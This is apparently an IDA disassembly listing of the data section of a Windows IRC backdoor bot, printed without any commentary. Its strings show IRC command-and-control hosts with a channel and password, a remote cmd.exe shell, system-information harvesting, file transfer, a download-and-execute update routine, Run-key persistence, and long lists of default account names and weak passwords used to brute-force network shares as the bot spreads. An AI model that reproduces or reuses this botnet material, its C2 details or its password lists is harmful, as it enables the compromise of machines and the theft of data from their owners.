		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 4
unk_42B3AC	db    2			; DATA XREF: sub_40A093:loc_40A120o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 10h
unk_42B3F0	db    2			; DATA XREF: sub_40A093:loc_40A0ECo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 4
unk_42B428	db    2			; DATA XREF: sub_40A093+49o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
unk_42B46C	db    2			; DATA XREF: sub_40A217+13Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_42B4AC	db    2			; DATA XREF: sub_40A217+6Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 4
dword_42B4E8	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40A3A3+1C6o
		dd 2029206Ch, 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
dword_42B528	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40A3A3+8Eo
		dd 2029206Ch, 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40A621+33o
dword_42B574	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A6A8:loc_40A7DAo
		dd 2029206Ch, 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
		align 4
dword_42B5B8	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A6A8+10Fo
		dd 2029206Ch, 2BBBB02h
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
dword_42B5F4	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A6A8:loc_40A78Eo
		dd 2029206Ch, 2BBBB02h
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 4
dword_42B638	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A7FD+194o
		dd 2029206Ch, 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 10h
dword_42B680	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A7FD+14Co
		dd 2029206Ch, 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40A7FD+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40A9B2+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40AAD1+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 10h
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40AAD1+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40AAD1:loc_40AC35o
		align 4
word_42B7C4	dw 3Fh			; DATA XREF: sub_40AAD1:loc_40ABD3r
					; sub_40C297+1Fo
		align 4
dword_42B7C8	dd 28207325h, 297325h	; DATA XREF: sub_40AAD1+EBo
dword_42B7D0	dd 3F3F3Fh		; DATA XREF: sub_40AAD1:loc_40AB94o
					; .nsp0:loc_414341o
a2003		db '2003',0             ; DATA XREF: sub_40AAD1+BAo
					; .nsp0:0042C488o ...
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40AAD1+AAo
					; .nsp0:0041432Co ...
		align 10h
a2k		db '2K',0               ; DATA XREF: sub_40AAD1+98o
					; .nsp0:0041431Co
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_40AAD1+7Eo
					; .nsp0:00414303o
		align 4
a98		db '98',0               ; DATA XREF: sub_40AAD1+6Co
					; .nsp0:004142F3o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40AAD1+5Ao
					; .nsp0:004142E3o
		align 10h
a95		db '95',0               ; DATA XREF: sub_40AAD1+46o
					; .nsp0:004142D5o
		align 4
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40AD85+ABo
		align 4
off_42B834	dd offset loc_412F4C+2	; DATA XREF: sub_40AD85:loc_40ADF9o
dword_42B838	dd 4E414Ch		; DATA XREF: sub_40AD85:loc_40ADF2o
dword_42B83C	dd 6C616944h, 70752Dh	; DATA XREF: sub_40AD85+5Bo
dword_42B844	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_40AD85+48o
unk_42B854	db    2			; DATA XREF: sub_40AE4B:loc_40B004o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToConnec	db 'Failed to connect to HTTP server.',0
		align 4
unk_42B898	db    2			; DATA XREF: sub_40AE4B:loc_40AFFDo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldNotOpenAC	db 'Could not open a connection.',0
		align 4
dword_42B8D8	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: sub_40AE4B+1A0o
		dd 206C1F64h, 0BB022029h, 202002BBh, 61766E49h,	2064696Ch
		dd 2E4C5255h, 0
unk_42B908	db    2			; DATA XREF: sub_40AE4B:loc_40AFDEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToGetReq	db 'Failed to get requested URL from HTTP server.',0
		align 4
dword_42B958	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: sub_40AE4B+18Co
		dd 206C1F64h, 0BB022029h, 202002BBh, 204C5255h,	69736976h
		dd 2E646574h, 0
dword_42B988	dd 2A2F2Ah		; DATA XREF: sub_40AE4B+3Bo
dword_42B98C	dd 202E6425h, 3D207325h, 732520h ; DATA	XREF: sub_40B0F5+35o
dword_42B998	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40B0F5+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40B16D+60o
		align 4
dword_42B9CC	dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh
					; DATA XREF: sub_40B20D+1Ao
		dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h
		dd 20353103h, 656C4320h, 64657261h, 2Eh
dword_42BA04	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40B27F+DCo
		dd 2029206Ch, 2BBBB02h,	694C2020h, 63207473h, 6C706D6Fh
		dd 2E657465h, 0
dword_42BA34	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40B27F+3Fo
		dd 2029206Ch, 2BBBB02h,	65422020h, 6E6967h
dword_42BA58	dd 80000002h, 42C26Ch, 80000002h, 42C29Ch, 80000001h, 42C2D4h
					; DATA XREF: sub_40B3AE+7o
dword_42BA70	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B3AE+63o
					; sub_40B551+170o
		dd 2029206Ch, 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 4
dword_42BAB8	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B551+ABo
		dd 2029206Ch, 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
dword_42BAFC	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B551+47o
					; sub_40B712+FDo
		dd 2029206Ch, 2BBBB02h
aFailedToOpenSo	db '  Failed to open socket.',0
		align 4
dword_42BB34	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B712+362o
					; sub_40BAB4+156o
		dd 2029206Ch, 2BBBB02h,	6F532020h, 74656B63h, 72726520h
		dd 2E726Fh
dword_42BB60	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B712+2FAo
		dd 2029206Ch, 2BBBB02h
aTransferComple	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42BBB4	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B712+202o
		dd 2029206Ch, 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_42BBEC	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B712+1CBo
		dd 2029206Ch, 2BBBB02h,	65532020h, 7420646Eh, 6F656D69h
		dd 2E7475h
dword_42BC18	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40B712+16Ao
		dd 169h
dword_42BC30	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B712+127o
		dd 2029206Ch, 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_42BC64	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B712+82o
		dd 2029206Ch, 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_42BC9C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B712+44o
		dd 2029206Ch, 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 4
dword_42BCD4	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40BAB4+1CFo
		dd 2029206Ch, 2BBBB02h
aTransferComp_0	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 4
dword_42BD2C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40BAB4+CBo
		dd 2029206Ch, 2BBBB02h
aErrorOpeningSo	db '  Error opening socket.',0
dword_42BD60	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40BAB4+ABo
		dd 2029206Ch, 2BBBB02h
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 10h
aAB		db 'a+b',0              ; DATA XREF: sub_40BAB4+97o
dword_42BDA4	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40BAB4+83o
		dd 2029206Ch, 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 4
unk_42BDE8	db    2			; DATA XREF: sub_40BCEF+493o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 4
unk_42BE28	db    2			; DATA XREF: sub_40BCEF+485o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
unk_42BE74	db    2			; DATA XREF: sub_40BCEF+3C9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_42BEC8	dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch
					; DATA XREF: sub_40BCEF+358o
		dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h,	656E6570h
		dd 25203A64h, 2E73h
aOpen		db 'open',0             ; DATA XREF: sub_40BCEF+336o
					; sub_40CE55+2A37o ...
		align 10h
unk_42BF00	db    2			; DATA XREF: sub_40BCEF+2E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 4
unk_42BF4C	db    2			; DATA XREF: sub_40BCEF+262o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 4
unk_42BF88	db    2			; DATA XREF: sub_40BCEF+1D8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 10h
unk_42BFD0	db    2			; DATA XREF: sub_40BCEF+195o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_42C014	db    2			; DATA XREF: sub_40BCEF+183o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 10h
unk_42C060	db    2			; DATA XREF: sub_40BCEF+77o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40C297:loc_40C2DAo
					; sub_413627+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40C297:loc_40C2D4o
aDisk		db 'Disk',0             ; DATA XREF: sub_40C297:loc_40C2CEo
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40C297:loc_40C2C8o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40C297:loc_40C2C2o
		align 4
aRam		db 'RAM',0              ; DATA XREF: sub_40C297:loc_40C2BCo
aFailed		db 'failed',0           ; DATA XREF: sub_40C328:loc_40C400o
					; sub_40C443+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_40C328+6Bo
		align 4
dword_42C0D8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40C443+8Eo
		dd 2029206Ch, 2BBBB02h
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 4
dword_42C128	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40C443+58o
		dd 2029206Ch, 2BBBB02h
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
		align 4
aA_0		db 'A:\',0              ; DATA XREF: sub_40C515:loc_40C55Ao
dword_42C17C	dd 1A0Bh		; DATA XREF: sub_40C682+3ADr
					; sub_40C682+460r
dword_42C180	dd 1B58h		; DATA XREF: sub_40C682+4ACr
dword_42C184	dd 1AA6h		; DATA XREF: sub_40CE55:loc_412647r
dword_42C188	dd 0CCEh		; DATA XREF: sub_407276+3Br
					; sub_40CE55+4E69r
dword_42C18C	dd 158Dh		; DATA XREF: sub_407276:loc_407525r
					; sub_40CE55:loc_411DB0r
dword_42C190	dd 1			; DATA XREF: sub_40C682+29r
dword_42C194	dd 1			; DATA XREF: sub_40CE55+662r
dword_42C198	dd 1			; DATA XREF: sub_409E15+Cr
					; sub_40C682:loc_40C9BBr
byte_42C19C	db 78h			; DATA XREF: sub_40C1E1:loc_40C1EDr
					; sub_40CE55+AF6r ...
		align 10h
dword_42C1A0	dd 9			; DATA XREF: sub_4140C8+2Br
					; sub_4140C8+51r ...
dword_42C1A4	dd 1			; DATA XREF: sub_40CB75+78r
					; sub_40CE55+27Cr ...
aIdsppn		db 'idsppn',0           ; DATA XREF: sub_40C682+67o
					; sub_40CE55+3D0Fo ...
		align 10h
aEnz9_9b	db 'enz 9.9b',0         ; DATA XREF: sub_40CE55:loc_41285Fo
		align 4
aHi		db 'hi',0               ; DATA XREF: sub_40CE55+5B8Do
					; sub_40CE55+5C5Co
		align 10h
aHome_najd_us	db 'home.najd.us',0     ; DATA XREF: sub_40C682+398o
					; sub_40C682+451o
		align 10h
aDd_0		db '#dd',0              ; DATA XREF: sub_40C682+3B9o
					; sub_40C682+467o
aDpass		db 'dpass',0            ; DATA XREF: sub_40C682+3D0o
					; sub_40C682+479o
		align 4
byte_42C1DC	db 68h			; DATA XREF: sub_40C682:loc_40CB11r
					; sub_40C682+49Do
aOme_paltalkdc_	db 'ome.paltalkdc.com',0
		align 10h
aDd_1		db '#dd',0              ; DATA XREF: sub_40C682+4B3o
aDpass_0	db 'dpass',0            ; DATA XREF: sub_40C682+4C5o
		align 4
byte_42C1FC	db 54h			; DATA XREF: sub_40283D+84o
					; sub_403178+Fo ...
		db 69h,	6Ch, 65h
		dd 6E6D6F63h, 6F632E75h, 6Dh
dword_42C20C	dd 636C6574h, 756E6D6Fh, 6C6C642Eh, 0 ;	DATA XREF: sub_40211A+3Do
dword_42C21C	dd 54204350h, 63656C69h, 756E6D6Fh, 0 ;	DATA XREF: sub_40B3AE+Eo
dword_42C22C	dd 2D554Eh, 656C6954h, 6E6D6F63h, 6F632E75h, 6Dh ; DATA	XREF: sub_4140C8+12o
dword_42C240	dd 692B782Bh, 0		; DATA XREF: sub_40CE55+5CD5o
dword_42C248	dd 756E23h		; DATA XREF: sub_40CE55:loc_40FFA6o
					; sub_40CE55+4CCFo ...
dword_42C24C	dd 737323h		; DATA XREF: sub_40CE55+1DBBo
dword_42C250	dd 737323h		; DATA XREF: sub_40CE55+1C04o
a58730		db '58730',0            ; DATA XREF: sub_40283D+9Ao
		align 4
aDd		db 'dd',0               ; DATA XREF: sub_40283D+95o
		align 10h
aDd_		db 'dd.',0              ; DATA XREF: sub_40283D+90o
off_42C264	dd offset a@room	; DATA XREF: sub_40CE55:loc_412A3Eo
					; "*@room"
off_42C268	dd offset aMirc1_6_99	; DATA XREF: sub_40CE55+8C6r
					; sub_40CE55+5C05o
					; "mirc	1.6.99"
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_1	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_4146BA+28o
					; sub_4149DE+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_4146BA+D4o
					; sub_4149DE+D4o
		align 4
		dd offset aAdministrato_0 ; "Administrator"
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd offset aUser_0	; "USER"
		dd offset aUser		; "user"
		dd offset aSysadmin	; "sysadmin"
		dd offset aGuest	; "Guest"
		dd offset aBackup	; "backup"
		dd 0
off_42C37C	dd offset byte_438FDC	; DATA XREF: sub_404F08:loc_404FBDr
					; sub_404F08+C2o
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrato_0 ; "Administrator"
		dd offset aAdministrator ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup_0	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex_0	; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_1		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
